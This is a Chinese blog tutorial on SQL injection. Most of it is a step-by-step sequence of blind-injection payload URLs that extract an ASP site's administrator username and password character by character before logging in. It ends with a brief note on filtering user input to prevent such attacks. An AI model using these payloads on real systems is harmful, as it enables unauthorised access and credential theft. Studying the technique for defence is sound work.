`
jiangduxi
  • 浏览: 456669 次
  • 性别: Icon_minigender_1
  • 来自: 深圳
社区版块
存档分类
最新评论

SQL injection详解

阅读更多
引用

1. SQL injection可以说是一种漏洞,也可以说成是一种攻击方法,程序中的变量处理不当,对用户提交的数据过滤不足,都可能产生这个漏洞,而攻击原理就是利用用户提交或可修改的数据,把想要的SQL语句插入到系统实际SQL语句中,轻则获得敏感的信息,重则控制服务器。SQL injection并不紧紧局限在Mssql数据库中,Access、Mysql、Oracle、Sybase都可以进行SQL injection攻击。

2.在大多数站点中,我们并不知道其程序代码,靠任何扫描器也不可能发现SQL injection漏洞,这时就要靠手工检测了,由于我们执行SQL语句要用到单引号、分号、逗号、冒号和“--”,所以我们就在可修改的URL后加上以上符号,或在表单中的文本框加上这些符号 .

3.检测手段(and 1=1 和and 1=2)
引用

http://www.xxx.xx/xxx/show.asp?id=xx and 1=1
http://www.xxx.xx/xxx/show.asp?id=xx and 1=2

两种返回不同页面,则找到注入点

4.试探是否存在管理员列表
引用

http://www.xxx.xx/xxx/show.asp?id=xx and 1=(select min(id) from admin)

正常返回则存在管理员列表

5. 试探密码长度
引用

http://www.xxx.xx/xxx/show.asp?id=xx and 1=(select min(id) from admin where len(username)>5)

正常返回则表示密码大于5位(为什么选择5位呢?因为很多时候使用的是admin)
引用

http://www.xxx.xx/xxx/show.asp?id=xx and 1=(select min(id) from admin where len(username) < 13)

通过大于5和小与13来给确定一个范围。然后使用等于来命中密码的长度
引用

http://www.xxx.xx/xxx/show.asp?id=xx and 1=(select min(id) from admin where len(username)="确定密码长度")


6. 试探用户名
引用

http://www.xxx.xx/xxx/show.asp?id=xx and 1 =(select min(id) from admin where left(username,1)='1')

正常返回, 确定管理员编号在第一位

7.搜索站长的ID

8.测试搜索的ID
引用

http://www.xxx.xx/xxx/show.asp?id=xx and 1=(select min(id) from admin where left(username,密码的长度)='站长的ID')


9. 试探密码
引用

http://www.xxx.xx/xxx/show.asp?id=xx and 1=(select min(id) from admin where left(password,1)='1')

http://www.xxx.xx/xxx/show.asp?id=xx and 1=(select min(id) from admin where left(password,密码的长度)='密码')

注意:
引用

如果在left(pass,1)=后面是数字,那么要把数字用单引号包含起来,例: left(pass,1)='1' 否则程序会出错。


10.找出管理员登陆界面
  一般是后缀是:adminlogin.asp、login.asp、admin/login.asp等等
11. 登陆系统


先分析了SQL Injection的大致步骤。通过分析注入攻击的思维来给进行安全预防。一般情况下,如果是一个完整的系统进行开发和运行在SQL Injection将进行了很好的预防。不管在升级或者新增一个新页面或者新功能的时候,由于开发者不是整个系统的开发者或者其他什么原因。很可能出现SQL Injection点。

总结:预防SQL Injection就必须对SQL Injection有很好的了解。不要相信用户提交的数据一定要进行很好的过滤。不过现在有一些好的模板可以帮助过滤。但是编程人员一定要提高警惕。

分享到:
评论

相关推荐

    sql injection cheat sheet

    ### SQL注入攻击技巧详解 #### 引言 SQL注入(SQL Injection)是Web应用程序安全领域中最常见的漏洞之一,它允许攻击者通过恶意输入在数据库查询中插入或拼接额外的SQL语句,从而操纵数据库执行非预期的操作。本文...

    pangolin sql injection tool

    **SQL注入工具Pangolin详解** SQL注入是一种常见的网络安全攻击方式,通过利用应用程序对用户输入数据的不恰当处理,攻击者可以向数据库发送恶意SQL语句,获取、修改、删除数据库中的敏感信息,甚至完全控制数据库...

    SQL Injection Attacks and Defense

    ### SQL注入攻击与防御策略详解 #### 一、SQL注入攻击概述 SQL注入(SQL Injection)是一种常见的网络安全攻击方式,攻击者通过将恶意SQL代码插入到应用程序的数据输入字段中,以此来操纵数据库执行非授权操作。...

    sql注入技术文档.pdf

    #### 四、Inference SQL Injection详解 **Inference SQL Injection**是一种较为特殊且不太为人所知的攻击方式,其核心思想在于通过分析应用程序的行为差异来推测数据的存在与否或具体数值。这种攻击不依赖于数据的...

    SQL Injection Attacks and Defense 2nd Edition

    ### SQL注入攻击与防御知识点详解 #### 一、SQL注入攻击概述 **SQL注入(SQL Injection,简称SQLi)**是一种常见的网络安全攻击方式,通过在应用程序接收的数据中插入恶意SQL语句来操纵后端数据库系统执行非授权...

    advanced sql injection

    ### 高级 SQL 注入技术详解 #### 摘要 本文档深入探讨了流行的 Microsoft Internet Information Server/Active Server Pages/SQL Server 平台中常见的“SQL 注入”技术。文章详细介绍了 SQL 如何被注入到应用程序...

    SQL Injection 数据库 注入 课件

    ### SQL注入攻击详解 #### 一、SQL简介 SQL(Structured Query Language)是一种用于管理和处理数据库的标准编程语言。它主要用于关系型数据库管理系统中,能够帮助用户执行查询、更新数据、管理用户权限等操作。 ...

    SQL Injection Pocket Reference.pdf

    ### SQL注入口袋参考指南知识点详解 #### 一、SQL注入概览 **SQL注入**是一种常见的Web应用程序安全漏洞,攻击者通过将恶意SQL代码插入到应用程序的输入字段中,从而控制数据库并执行非授权操作。《SQL Injection ...

    SQL 注入(SQL Injection)是一种常见的网络攻击技术

    ### SQL注入类型详解 #### 1. 基于错误的SQL注入 这种类型的注入依赖于数据库错误消息中的信息。攻击者通过构造特定的输入,触发应用程序抛出错误,并根据这些错误消息推断出数据库的结构、字段名或其他敏感信息。...

    sql高级注入,advanced_sql_injection

    ### SQL高级注入技术详解 #### 摘要 本文详细探讨了常见的“SQL注入”技术在流行的Microsoft Internet Information Server/Active Server Pages/SQL Server平台上的应用。文中讨论了SQL如何被“注入”到应用程序中...

    详解强大的SQL注入工具——SQLMAP

    SQL注入是一种常见的网络安全攻击技术,用于攻击数据驱动的应用程序,攻击者通过在应用程序的SQL命令中插入恶意SQL代码,从而控制数据库服务器。SQLMAP是一个开源的渗透测试工具,专门用于自动探测和利用SQL注入漏洞...

    Blind SQL Injection

    **SQL盲注(Blind SQL Injection)详解** SQL注入是一种常见的网络安全漏洞,它发生在Web应用程序未能充分验证或清理用户输入的数据时。当攻击者能够利用这种漏洞,他们可以向数据库发送自定义的SQL查询,从而获取...

    PHP中的代码安全和SQL Injection防范4

    #### 二、SQL Injection简介 SQL注入是一种常见的攻击方式,攻击者可以通过构造恶意的SQL语句来操纵数据库查询结果。这种攻击通常发生在用户输入被直接嵌入到SQL查询语句中的情况下。为了避免这种情况,开发者需要...

    基于ESAPI的防sql注入jar包及使用示例.rar

    **基于ESAPI的防SQL注入技术** 在网络安全领域,SQL注入是一种常见的攻击手段,通过恶意构造SQL语句,攻击者可以获取、修改甚至删除数据库中的敏感数据。为了防止这种攻击,开发人员通常会采用各种防御策略,其中一...

    advanced_sql_injection

    ### 高级SQL注入技术详解 #### 摘要 本文深入探讨了针对SQL Server环境下的高级SQL注入技术。从理论基础出发,结合具体实践案例,详细解析了如何利用SQL Server的各种特性进行更为隐蔽和高效的攻击。对于网络安全...

    泛微OA8前台sql注入1

    【泛微OA8前台SQL注入漏洞详解】 在网络安全领域,SQL注入是一种常见的攻击手段,它允许攻击者通过构造特定的输入来控制或篡改后台数据库的查询操作。在这个案例中,我们关注的是针对泛微OA8系统的一个前台SQL注入...

    SQL注入攻击实验报告

    - **新建网站SQLInjection项目**:使用MyEclipse创建一个新的Web项目,命名为SQLInjection。 - **index.jsp页面设计**:作为登录界面,包含用户名和密码的输入框,以及提交按钮。 - **处理流程**: - 用户输入...

    Integrigy_Oracle_SQL_Injection_Attacks.rar_oracle

    标题中的“Integrigy_Oracle_SQL_Injection_Attacks”暗示了这是一份关于Oracle数据库SQL注入攻击的专题资料,而“rar_oracle”表明该压缩包可能包含了针对Oracle数据库安全性的深入研究或教程。描述中的“no ...

Global site tag (gtag.js) - Google Analytics